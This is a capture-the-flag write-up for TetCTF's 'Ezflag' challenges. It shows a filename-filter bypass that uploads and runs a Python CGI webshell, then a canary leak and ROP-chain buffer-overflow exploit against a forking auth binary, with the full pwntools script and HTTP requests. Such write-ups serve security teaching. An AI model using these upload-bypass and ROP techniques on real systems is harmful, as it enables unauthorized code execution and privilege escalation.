Summary: In this two part challenge, flawed filename logic allows an attacker to write arbitrary Python files that are executed as a CGI script. Once the attacker obtains a shell on the system, they can exploit a straightforward buffer overflow in a forking statically compiled binary that authenticates basic authentication login attempts. Since the binary forks per connection, the stack canary can be leaked in one connection, and a ROP chain can be sent in the second with the fixed canary. Additionally, to simplify exploitation and avoid messing with file descriptor duping, a shell script can be created on the filesystem beforehand to be executed with the ROP chain to run our arbitrary commands.

Challenge Prompt

Part 1:

47 Solves
Ezflag level 1
100 Points
We found an internal storage system exposed to the internet. By ambushing one of the employee, we got some files and the credentials of the system: "admin:admin". Unfortunately, our agent was poisoned and cannot continue hacking. Can you help us?
Service: http://18.220.157.154:9090/
or
Service: http://3.22.71.49:9080/
Binary
Author: @nyancat0131

Attachment: challenge file

Part 2:

20 Solves
Ezflag level 2
639
Solved Level 1 first!
Service: http://18.220.157.154:9090/
or
Service: http://3.22.71.49:9080/
Author: @nyancat0131

Solution

Part 1

Unpacking the tar file provided yields the following web application deployment files:

$ tar xvf ezflag_109ff451f9d11258d01594c77aae131c.tar.gz
x ezflag/conf/
x ezflag/conf/lighttpd.conf
x ezflag/conf/nginx-site.conf
x ezflag/www/
x ezflag/www/html/
x ezflag/www/cgi-bin/
x ezflag/www/upload/
x ezflag/www/upload/shell.py
x ezflag/www/cgi-bin/upload.py
x ezflag/www/html/upload.html

The upload.py file implements the main web application logic through CGI. Breaking it up, we have the main function that performs basic authentication check and if it passes, dispatches to the right handler.

#!/usr/bin/env python3

import os
import cgi
import base64
import socket

def write_header(key, value) -> None:
    print('{:s}: {:s}'.format(key, value))

def write_status(code, msg) -> None:
    print('Status: {:d} {:s}'.format(code, msg), end='\n\n')

def write_location(url) -> None:
    print('Location: {:s}'.format(url), end='\n\n')

...

if __name__ == '__main__':
    if not check_auth():
        write_header('WWW-Authenticate', 'Basic')
        write_status(401, 'Unauthorized')
    else:
        method = os.environ.get('REQUEST_METHOD')
        if method == 'POST':
            handle_post()
        elif method == 'GET':
            handle_get()
        else:
            write_status(405, 'Method Not Allowed')

The basic authentication check parses the header and then forwards the username and password as newline terminated strings to a server listening on port 4444 on the remote localhost. It checks if the first byte sent back is a 'Y'. We are given the username and password of admin:admin so we’ll just use these credentials for now.

def check_auth() -> bool:
    auth = os.environ.get('HTTP_AUTHORIZATION')
    if auth is None or len(auth) < 6 or auth[0:6] != 'Basic ':
        return False
    auth = auth[6:]
    try:
        data = base64.b64decode(auth.strip().encode('ascii')).split(b':')
        if len(data) != 2:
            return False
        username = data[0]
        password = data[1]
        if len(username) > 8 or len(password) > 16:
            return False
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('127.0.0.1', 4444))
        s.settimeout(5)
        s.send(username + b'\n' + password + b'\n')
        result = s.recv(1)
        s.close()
        if result == b'Y':
            return True
        return False
    except:
        return False

The GET handler is simple, it just prints the contents of an upload.html HTML file in the response.

def handle_get() -> None:
    with open('../html/upload.html', 'rb') as f:
        dat = f.read()

    write_header('Content-Type', 'text/html')
    write_header('Content-Length', str(len(dat)))
    write_status(200, 'OK')
    print(dat.decode('utf-8'), end=None)

The POST handler is more interesting. It allows for the writing of an arbitrary file to an upload directory with some constraints on the filename. It checks for the existence of .. or .py in the filename and rejects it if found. Additionally, it also ‘normalises’ the filename by removing all occurrences of './'.

def valid_file_name(name) -> bool:
    if len(name) == 0 or name[0] == '/':
        return False
    if '..' in name:
        return False
    if '.py' in name:
        return False
    return True

def handle_post() -> None:
    fs = cgi.FieldStorage()
    item = fs['file']
    if not item.file:
        write_status(400, 'Bad Request')
        return
    if not valid_file_name(item.filename):
        write_status(400, 'Bad Request')
        return
    normalized_name = item.filename.strip().replace('./', '')
    path = ''.join(normalized_name.split('/')[:-1])
    os.makedirs('../upload/' + path, exist_ok=True)
    with open('../upload/' + normalized_name, 'wb') as f:
        f.write(item.file.read())
    write_location('/uploads/' + normalized_name)

Assuming we want to be able to write .py files, we can abuse the normalisation process to transform the filename to one that ends with .py after the check occurs. For example:

In [486]: name = "attack.p./y"
     ...: assert ".py" not in name
     ...: normalized_name = name.strip().replace('./', '')
     ...: assert ".py" in normalized_name
     ...: print(normalized_name)
attack.py

If we look in nginx-site.conf, we can see that the /upload/ directory that we can upload files to is mapped to the /uploads/ path on the web server.

server {
    listen 80;
    listen [::]:80;

    location / {
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://127.0.0.1:8080/cgi-bin/upload.py;
    }

    location /uploads/ {
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://127.0.0.1:8080/uploads/;
    }
}

Within the lighttpd.conf configuration file, we can see that .py files are executed with the /usr/bin/python3 interpreter with CGI. Thus, if we write a .py file, we can simply visit the path and it should execute our arbitrary code.

...
alias.url += ( "/cgi-bin" => "/var/www/cgi-bin" )
alias.url += ( "/uploads" => "/var/www/upload" )
cgi.assign = ( ".py" => "/usr/bin/python3" )

Putting this together, we can create our exploit python script on the server with the following POST request, including the admin:admin basic authentication header.

POST / HTTP/1.1
Host: 18.191.117.63:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27015668151794350363716216349
Content-Length: 315
Origin: http://18.191.117.63:9090
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://18.191.117.63:9090/
Upgrade-Insecure-Requests: 1

-----------------------------27015668151794350363716216349
Content-Disposition: form-data; name="file"; filename="amon_34123.p./y"
Content-Type: application/octet-stream

#!/usr/bin/env python3

import os
print(os.system("ls -la /;cat /flag"))

-----------------------------27015668151794350363716216349--

Next, to trigger the script, we just simply visit the /uploads/amon_34123.py script path.

GET /uploads/amon_34123.py HTTP/1.1
Host: 18.191.117.63:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1


In the response, we can see that the flag as well as some other interesting file such as flag2 and auth are located at the / path. We also obtain our first flag.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 01 Jan 2022 06:58:00 GMT
Content-Length: 1636
Connection: close

total 864
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 .
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 ..
-rwxr-xr-x   1 root   root        0 Jan  1 00:06 .dockerenv
-r-xr--r--   1 daemon daemon 802768 Dec 31 22:39 auth
lrwxrwxrwx   1 root   root        7 Oct  6 16:47 bin -> usr/bin
drwxr-xr-x   2 root   root     4096 Apr 15  2020 boot
drwxr-xr-x   5 root   root      340 Jan  1 03:44 dev
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 etc
-r--r--r--   1 root   root       41 Jan  1 00:03 flag
-r--------   1 daemon daemon     41 Jan  1 00:03 flag2
drwxr-xr-x   2 root   root     4096 Apr 15  2020 home
lrwxrwxrwx   1 root   root        7 Oct  6 16:47 lib -> usr/lib
lrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib32 -> usr/lib32
lrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib64 -> usr/lib64
lrwxrwxrwx   1 root   root       10 Oct  6 16:47 libx32 -> usr/libx32
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 media
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 mnt
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 opt
dr-xr-xr-x 995 root   root        0 Jan  1 03:44 proc
drwx------   1 root   root     4096 Jan  1 03:40 root
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 run
-rwxr-xr-x   1   1000   1000    189 Dec 31 15:29 run.sh
lrwxrwxrwx   1 root   root        8 Oct  6 16:47 sbin -> usr/sbin
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 srv
dr-xr-xr-x  13 root   root        0 Jan  1 03:44 sys
drwxrwxrwt   1 root   root     4096 Jan  1 06:57 tmp
drwxr-xr-x   1 root   root     4096 Jan  1 00:05 usr
drwxr-xr-x   1 root   root     4096 Jan  1 00:05 var
TetCTF{65e95f4eacc1fe7010616e051f1c610a}
0

Flag: TetCTF{65e95f4eacc1fe7010616e051f1c610a}

Part 2

Note: Unfortunately, I didn’t solve this during the few hours I played during the competition since the auth server was crashed by some other players early during the CTF. However, I think the exploit should work remotely barring the pwntools dependency.

Once on the server, we can exfiltrate the auth binary that’s listening on port 4444 of the remote server.

Attachment: auth

To simulate the remote service, we can create a flag at /flag2.

# echo 'TetCTF{Fake_Flag_Because_Service_Is_Down}' > /flag2

When running and interacting with the service, we notice that something odd is going on with the output. It looks like it’s leaking 0x100 bytes of memory along with the 'Y or 'N' return code.

$ printf 'admin\nadmin\n' | nc localhost 4444 | xxd
00000000: 5964 6d69 6e0a 6164 6d69 6e0a ff80 5b9a  Ydmin.admin...[.
00000010: a011 b945 fc7f 0000 2497 0000 0000 0000  ...E....$.......
00000020: 0300 0000 0000 0000 a011 b945 fc7f 0000  ...........E....
00000030: 8c11 b945 fc7f 0000 8860 4900 0000 0000  ...E.....`I.....
00000040: b400 0000 0000 0000 88c6 4400 0000 0000  ..........D.....
00000050: 2000 0000 3000 0000 8011 b945 fc7f 0000   ...0......E....
00000060: c010 b945 fc7f 0000 0031 2918 ff80 5b9a  ...E.....1)...[.
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 4898 3202 0000 0000 2497 0000 0000 0000  H.2.....$.......
00000090: 249c 4900 0000 0000 f00f b945 fc7f 0000  $.I........E....
000000a0: 802b 4c00 0000 0000 0a00 0000 0000 0000  .+L.............
000000b0: 2013 4c00 0000 0000 7260 4900 0000 0000   .L.....r`I.....
000000c0: 402f 4c00 0000 0000 1810 4c00 0000 0000  @/L.......L.....
000000d0: 0000 0000 0000 0000 036d 4100 0000 0000  .........mA.....
000000e0: 1000 0000 0000 0000 2013 4c00 0000 0000  ........ .L.....
000000f0: 2497 0000 0000 0000 0000 0000 0000 0000  $...............

If we send a large amount of data, we get a stack smashing detected message so it appears that we can trigger a buffer overflow. Next, we need to determine if we can use the info leak to leak the stack canary.

$ printf 'admin\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' | nc localhost 4444 | xxd
...
Connection accepted from 127.0.0.1:38694
*** stack smashing detected ***: terminated

If we try to send the smallest input possible that triggers the memory leak, we can see that there is a canary-looking value at offset 0x8 and 0x68 (0x9a5b80ff18293100). This value should not change between requests since the server forks and retains the parent’s memory layout and contents.

$ printf '\n\n' | nc localhost 4444 | xxd -g 8 -e
00000000: 3630373833000a4e 9a5b80ff18293100  N..38706.1)...[.
00000010: 00007ffc45b911a0 0000000000009732  ...E....2.......
00000020: 0000000000000003 00007ffc45b911a0  ...........E....
00000030: 00007ffc45b9118c 0000000000496088  ...E.....`I.....
00000040: 00000000000000bb 000000000044c688  ..........D.....
00000050: 0000003000000020 00007ffc45b91180   ...0......E....
00000060: 00007ffc45b910c0 9a5b80ff18293100  ...E.....1)...[.
00000070: 0000000000000000 0000000000000000  ................
00000080: 0000000002329848 0000000000009732  H.2.....2.......
00000090: 0000000000499c24 00007ffc45b90ff0  $.I........E....
000000a0: 00000000004c2b80 000000000000000a  .+L.............
000000b0: 00000000004c1320 0000000000496072   .L.....r`I.....
000000c0: 00000000004c2f40 00000000004c1018  @/L.......L.....
000000d0: 0000000000000000 0000000000416d03  .........mA.....
000000e0: 0000000000000010 00000000004c1320  ........ .L.....
000000f0: 0000000000009732 0000000000000000  2...............

The vulnerable code and stack smashing check appears in this function:

Vulnerable function

If we do a quick check in the debugger, we can confirm that the value is indeed the stack canary.

Thread 2.1 "auth" hit Breakpoint 1, 0x0000000000401f85 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
...
$rsi   : 0x9a5b80ff18293100
...
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc45b91010│+0x0000: 0x0000000000000001	 ← $rsp
0x00007ffc45b91018│+0x0008: 0x000003e800002190
0x00007ffc45b91020│+0x0010: 0x0000000000000000	 ← $rdx
0x00007ffc45b91028│+0x0018: 0x0000000000008801
0x00007ffc45b91030│+0x0020: 0x0000000000000000
0x00007ffc45b91038│+0x0028: 0x9a5b80ff18293100
0x00007ffc45b91040│+0x0030: 0x0000000000000000
0x00007ffc45b91048│+0x0038: 0x000000000040200d  →   mov edx, 0x100
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401f7c                  je     0x401f98
     0x401f7e                  xor    eax, eax
     0x401f80                  mov    rsi, QWORD PTR [rsp+0x28]
●→   0x401f85                  xor    rsi, QWORD PTR fs:0x28
     0x401f8e                  jne    0x401fc0
     0x401f90                  add    rsp, 0x38
     0x401f94                  ret
     0x401f95                  nop    DWORD PTR [rax]
     0x401f98                  cmp    WORD PTR [rsp+0xb], 0x6e
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped 0x401f85 in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f85 → xor rsi, QWORD PTR fs:0x28
[#1] 0x40200d → mov edx, 0x100
[#2] 0x4018ab → mov edi, ebp
[#3] 0x402860 → mov edi, eax
[#4] 0x401dde → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Next, we need to find the offset of the canary. First, we send a de Brujin sequence and wait for the same breakpoint as before to trigger.

$ printf '\naaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n' | nc localhost 4444

In the debugger, we can see that the stack canary is at offset 24.

gef➤  info reg $rsi
rsi            0x6161616161616164	0x6161616161616164
gef➤  pattern offset 0x6161616161616164
[+] Searching for '0x6161616161616164'
[+] Found at offset 24 (little-endian search) likely
[+] Found at offset 17 (big-endian search)
gef➤

Repeating this step and fixing the canary also yields the saved return pointer at offset 40. Now, we can craft the ROP payload. A useful configuration of the registers at the point of the controlled return is the contents of the rdi register. It appears to be pointing into the buffer of our user controlled data. We can abuse this in crafting a shorter ROP chain.

gef➤
0x0000000000401f94 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x9606
$rcx   : 0x00007ffc45b9107e  →  0x7ffc45b9118c0a0a
$rdx   : 0x00007ffc45b91048  →  0x0000000000402000  →   call 0x44c430
$rsp   : 0x00007ffc45b91048  →  0x0000000000402000  →   call 0x44c430
$rbp   : 0x29
$rsi   : 0x0
$rdi   : 0x00007ffc45b91055  →  "\nadminAAAAAAAAAAAAAAAAAAA"
$rip   : 0x0000000000401f94  →   ret
$r8    : 0x0
$r9    : 0x0
$r10   : 0x0
$r11   : 0x246
$r12   : 0x00007ffc45b91050  →  "admin\nadminAAAAAAAAAAAAAAAAAAA"
$r13   : 0x00007ffc45b911a0  →  0x0100007f06960002
$r14   : 0x00007ffc45b9118c  →  0x5c11000200000010
$r15   : 0x0000000000496088  →  "Connection accepted from %s:%d\n"
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc45b91048│+0x0000: 0x0000000000402000  →   call 0x44c430	 ← $rdx, $rsp
0x00007ffc45b91050│+0x0008: "admin\nadminAAAAAAAAAAAAAAAAAAA"	 ← $r12
0x00007ffc45b91058│+0x0010: "minAAAAAAAAAAAAAAAAAAA"
0x00007ffc45b91060│+0x0018: "AAAAAAAAAAAAAA"
0x00007ffc45b91068│+0x0020: 0x3100414141414141 ("AAAAAA"?)
0x00007ffc45b91070│+0x0028: 0x42429a5b80ff1829
0x00007ffc45b91078│+0x0030: 0x0a0a424242424242
0x00007ffc45b91080│+0x0038: 0x00007ffc45b9118c  →  0x5c11000200000010
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
●    0x401f85                  xor    rsi, QWORD PTR fs:0x28
     0x401f8e                  jne    0x401fc0
     0x401f90                  add    rsp, 0x38
 →   0x401f94                  ret
   ↳    0x402000                  call   0x44c430
        0x402005                  mov    rdi, r12
        0x402008                  call   0x401f10
        0x40200d                  mov    edx, 0x100
        0x402012                  mov    rsi, r12
        0x402015                  mov    edi, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped 0x401f94 in ?? (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f94 → ret
[#1] 0x402000 → call 0x44c430
[#2] 0x4018ab → mov edi, ebp
[#3] 0x402860 → mov edi, eax
[#4] 0x401dde → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

When crafting the exploit, we also have to fix up the stack a bit as it is slightly off alignment, hence we have to look for a stack move gadget. Once the stack is fixed up, we can craft an syscall(execve, "our controlled buffer in rdi", 0, 0) ROP chain to run a program. The obvious data to place in the controlled buffer is /bin/sh but an interactive shell is a little annoying to deal with since we don’t have control over stdin and stdout yet over the network connection. Since we have shell access already on the remote system, we can just create a helper shell script to execute instead that copies /flag2 to a temporary location and changes it to be world-readable. We’ll name this file /tmp/give.

$ printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give

Now, we can write the full exploit to trigger the execve of this shell script:

#!/usr/bin/env python

from pwn import *


context.clear()
context.arch = 'amd64'
# context.log_level = 'debug'

# Make a shell script executable.
# printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give


def main():
    # Generate the ROP chains.
    # First, generate the chain to fix up the stack.
    rop = ROP('./auth', badchars=b'\n')
    rop.raw(rop.search(move=68).address)
    log.info("Constructed ROP payload to fix stack: \n{}".format(rop.dump()))
    stack_rop_payload = flat(rop.build())
    log.info("Length of ROP fix stack payload: {}".format(hex(len(stack_rop_payload))))

    # Next, generate the ROP chain to call execve.
    # RDI contains the address of a couple bytes into the buffer, which is perfect.
    # We want to execute syscall(execve, n_bytes_into_buffer, 0, 0)
    rop = ROP('./auth', badchars=b'\n')
    rop(rax=constants.SYS_execve, rsi=0, rdx=0)
    rop.raw(rop.syscall.address)
    # Finally, we can JMP RSP to our shellcode.
    #rop.raw(rop.jmp_rsp.address)
    log.info("Constructed ROP payload: \n{}".format(rop.dump()))
    rop_payload = flat(rop.build())
    # from IPython import embed; embed()
    log.info("Length of ROP payload: {}".format(hex(len(rop_payload))))

    # Leak the canary with a short write to expose the canary at buffer + 8.
    p = remote('localhost', 4444)
    canary_payload = b'\n\n'
    p.send(canary_payload)
    p.recv(8)
    canary = u64(p.recv(8))
    log.info('Canary: {}'.format(hex(canary)))
    p.close()

    # Trigger the overflow.
    p = remote('localhost', 4444)
    # Fix the canary.
    payload = b'\n' + b'A'* 24 + p64(canary) + b'B'*8
    # ROP Chain.
    payload += stack_rop_payload
    # This is the start of the n bytes into the buffer we referenced above.
    # We specify /tmp/give as the program to execute since it's simpler than attempting to mess with
    # the fd to get an interactive shell. We already have a reverse shell through ezflag1.
    # Also, small padding to account for the non-aligned stack we are working with.
    payload += b'/tmp/give\x00'.ljust(0x48, b'C')
    payload += rop_payload
    # Add the shellcode
    payload = payload.ljust(0x100 - 1, b'\x90')
    payload += b'\n'
    log.info('Length of payload: {}'.format(hex(len(payload))))
    p.send(payload)

    log.success('Exploit complete. Please check /tmp/flag2.')


if __name__ == '__main__':
    main()

We can run the exploit and grab the world-readable flag.

$ ls -la /tmp/flag2
ls: cannot access '/tmp/flag2': No such file or directory
$ python exploit.py
[*] '/vagrant/tetctf/ezflag1/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 120 cached gadgets for './auth'
[*] Constructed ROP payload to fix stack:
    0x0000:         0x413883 add rsp, 0x38; pop rbx; pop rbp; ret
[*] Length of ROP fix stack payload: 0x8
[*] Constructed ROP payload:
    0x0000:         0x4497a7 pop rax; ret
    0x0008:             0x3b SYS_execve
    0x0010:         0x40f67e pop rsi; ret
    0x0018:              0x0
    0x0020:         0x40176f pop rdx; ret
    0x0028:              0x0
    0x0030:         0x4012d3 syscall
[*] Length of ROP payload: 0x38
[+] Opening connection to localhost on port 4444: Done
[*] Canary: 0x9a5b80ff18293100
[*] Closed connection to localhost port 4444
[+] Opening connection to localhost on port 4444: Done
[*] Length of payload: 0x100
[+] Exploit complete. Please check /tmp/flag2.
[*] Closed connection to localhost port 4444
$ cat /tmp/flag2
TetCTF{Fake_Flag_Because_Service_Is_Down}

Flag: Sadly, didn't solve it during the competition.

Leave a Comment